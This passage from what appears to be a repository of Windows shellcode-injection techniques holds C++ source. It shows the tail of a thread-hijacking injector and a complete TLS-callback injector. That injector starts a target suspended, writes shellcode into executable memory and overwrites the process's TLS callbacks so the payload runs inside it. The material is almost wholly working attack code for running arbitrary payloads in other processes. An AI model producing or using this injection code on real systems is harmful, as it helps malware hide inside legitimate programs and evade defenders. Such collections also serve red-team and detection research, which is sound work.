memcpy(&reigsterpreserving_shellcode[sizeof(reigsterpreserving_shellcode) - 5], &target, 4); 349 | // write shellcode into target process 350 | if (!WriteProcessMemory(targetProcessHandle, remoteMemory, reigsterpreserving_shellcode, sizeof(reigsterpreserving_shellcode) - 1, NULL)) 351 | { 352 | printf("[Error] %d - Failed to write shellcode to target process\n", GetLastError()); 353 | return 1; 354 | } 355 | #endif 356 | printf("[Info] - Wrote shellcode to remote memory at %p\n", remoteMemory); 357 | 358 | ctx.Xip = (DWORD_PTR)remoteMemory; 359 | 360 | if (SetThreadContext(threadHandle, &ctx) == 0) 361 | { 362 | printf("[Error] %d - Failed to SetThreadContext\n", GetLastError()); 363 | return 1; 364 | } 365 | 366 | printf("[Info] - SetThreadContext to execute %llx\n", ctx.Xip); 367 | 368 | if (ResumeThread(threadHandle) == -1) 369 | { 370 | printf("[Error] %d - Failed to resume thread\n", GetLastError()); 371 | return 1; 372 | } 373 | 374 | printf("[Info] - Resumed hijacked thread\n"); 375 | 376 | CloseHandle(threadHandle); 377 | return 0; 378 | } 379 | } while (Thread32Next(processesSnapshot, ¤tThreadEntry)); 380 | return 0; 381 | } -------------------------------------------------------------------------------- /shellcode_injection/tlscallback_injection.cpp: -------------------------------------------------------------------------------- 1 | /** 2 | * Injects shellcode into a process by overwriting TLS callbacks. 3 | * This implementation starts the process in a suspended state so it can overwrite a TLS callback that is being executed instead of the entry point. 4 | * Some TLS callbacks may be executed when a Thread is created or exits. Therefore it is also possible to use this technique on already running processes. 5 | * Supports 32- and 64 Bit applications. 6 | * [Requirements] 7 | * - the target process needs to make use of TLS callbacks 8 | */ 9 | 10 | #include 11 | #include 12 | #include 13 | 14 | #include "../payload/shellcode.hpp" 15 | #include "../common/ntddk.h" 16 | 17 | 18 | 19 | int main(int argc, char* argv[]) 20 | { 21 | if (argc != 2) 22 | { 23 | printf("Usage: *.exe applicationPath\n"); 24 | return 1; 25 | } 26 | 27 | char* applicationPath = argv[1]; 28 | 29 | STARTUPINFOA startupInfo = STARTUPINFOA(); 30 | PROCESS_INFORMATION processInformation = PROCESS_INFORMATION(); 31 | 32 | // create the process in a suspended state. We do this so we can overwrite a TLS callback that is executed instead of the entry point 33 | if (!CreateProcessA(0, 34 | applicationPath, 35 | 0, 36 | 0, 37 | 0, 38 | CREATE_SUSPENDED | DETACHED_PROCESS | CREATE_NO_WINDOW, 39 | 0, 40 | 0, 41 | &startupInfo, 42 | &processInformation)) 43 | { 44 | printf("[Error] %d - Failed to create process using application %s\n", GetLastError(), applicationPath); 45 | return 1; 46 | } 47 | 48 | printf("[Info] - Created target process in suspended state\n"); 49 | 50 | // allocate memory in the target process 51 | LPVOID remoteMemory = VirtualAllocEx(processInformation.hProcess, nullptr, MAX_PATH, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE); 52 | if (!remoteMemory) 53 | { 54 | printf("[Error] %d - Failed to allocate memory in target process\n", GetLastError()); 55 | TerminateProcess(processInformation.hProcess, 1); 56 | return 1; 57 | } 58 | 59 | printf("[Info] - Allocated remote memory at %p\n", remoteMemory); 60 | 61 | // write shellcode into target process 62 | if (!WriteProcessMemory(processInformation.hProcess, remoteMemory, shellcode, sizeof(shellcode) - 1, NULL)) 63 | { 64 | printf("[Error] %d - Failed to write .dll path to target process\n", GetLastError()); 65 | TerminateProcess(processInformation.hProcess, 1); 66 | return 1; 67 | } 68 | 69 | printf("[Info] - Wrote payload to %p\n", remoteMemory); 70 | 71 | PROCESS_BASIC_INFORMATION processBasicInformation = {}; 72 | ULONG returnLength = 0; 73 | // get process basic information 74 | NTSTATUS error = NtQueryInformationProcess(processInformation.hProcess, ProcessBasicInformation, &processBasicInformation, sizeof(PROCESS_BASIC_INFORMATION), &returnLength); 75 | if (error) 76 | { 77 | printf("[Error] %d - Failed to query process basic information\n", GetLastError()); 78 | TerminateProcess(processInformation.hProcess, 1); 79 | return 1; 80 | } 81 | 82 | // read base address of process 83 | int64_t pebOffset = (int64_t)processBasicInformation.PebBaseAddress + 2 * sizeof(void*); 84 | LPVOID processBasesAddress = 0; 85 | if (!ReadProcessMemory(processInformation.hProcess, (LPCVOID)pebOffset, &processBasesAddress, sizeof(void*), NULL)) 86 | { 87 | printf("[Error] %d - Failed to read PEB offset\n", GetLastError()); 88 | TerminateProcess(processInformation.hProcess, 1); 89 | return 1; 90 | } 91 | 92 | // read PE headers 93 | const int PE_BUFFER_SIZE = 4096; 94 | int8_t peBuffer[PE_BUFFER_SIZE] = {}; 95 | if (!ReadProcessMemory(processInformation.hProcess, processBasesAddress, peBuffer, PE_BUFFER_SIZE, NULL)) 96 | { 97 | printf("[Error] %d - Failed to read PE header\n", GetLastError()); 98 | TerminateProcess(processInformation.hProcess, 1); 99 | return 1; 100 | } 101 | 102 | printf("[Info] - Read PE header at %p\n", processBasesAddress); 103 | 104 | PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)peBuffer; 105 | PIMAGE_NT_HEADERS ntHeader = (PIMAGE_NT_HEADERS)(peBuffer + dosHeader->e_lfanew); 106 | LPVOID entryPoint = (LPVOID)(ntHeader->OptionalHeader.AddressOfEntryPoint + (int64_t)processBasesAddress); 107 | 108 | IMAGE_DATA_DIRECTORY tlsEntryDataDirectory = ntHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_TLS]; 109 | 110 | if (tlsEntryDataDirectory.Size == 0) 111 | { 112 | printf("[Error] - The target application does not contain TLS callbacks\n"); 113 | TerminateProcess(processInformation.hProcess, 1); 114 | return 1; 115 | } 116 | 117 | IMAGE_TLS_DIRECTORY tlsDirectory; 118 | ReadProcessMemory(processInformation.hProcess, (BYTE*)processBasesAddress + tlsEntryDataDirectory.VirtualAddress, &tlsDirectory, sizeof(IMAGE_TLS_DIRECTORY), nullptr); 119 | 120 | // this array is terminated by a nullpointer 121 | int tlsEntriesPatchedCount = 0; 122 | while (true) 123 | { 124 | PIMAGE_TLS_CALLBACK currentTlsCallback = nullptr; 125 | ReadProcessMemory(processInformation.hProcess, (DWORD_PTR*)tlsDirectory.AddressOfCallBacks + tlsEntriesPatchedCount, ¤tTlsCallback, sizeof(IMAGE_TLS_DIRECTORY), nullptr); 126 | if (!currentTlsCallback) 127 | { 128 | break; 129 | } 130 | 131 | DWORD oldProtection; 132 | if (!VirtualProtectEx(processInformation.hProcess, (DWORD_PTR*)tlsDirectory.AddressOfCallBacks + tlsEntriesPatchedCount, sizeof(void*), PAGE_EXECUTE_READWRITE, &oldProtection)) 133 | { 134 | printf("[Error] %d - Failed to change page protection of TLS callbacks\n", GetLastError()); 135 | } 136 | 137 | if (!WriteProcessMemory(processInformation.hProcess, (DWORD_PTR*)tlsDirectory.AddressOfCallBacks + tlsEntriesPatchedCount, &remoteMemory, sizeof(void*), nullptr)) 138 | { 139 | printf("[Error] %d - Failed to write tlscallback\n", GetLastError()); 140 | } 141 | tlsEntriesPatchedCount++; 142 | } 143 | 144 | printf("[Info] - Overwrriten %d TLS callbacks\n", tlsEntriesPatchedCount); 145 | printf("[Info] - Resuming target process\n"); 146 | 147 | if (!ResumeThread(processInformation.hThread)) 148 | { 149 | printf("[Error] %d - Failed ResumeThread\n", GetLastError()); 150 | TerminateProcess(processInformation.hProcess, 1); 151 | return 1; 152 | } 153 | 154 | return 0; 155 | } --------------------------------------------------------------------------------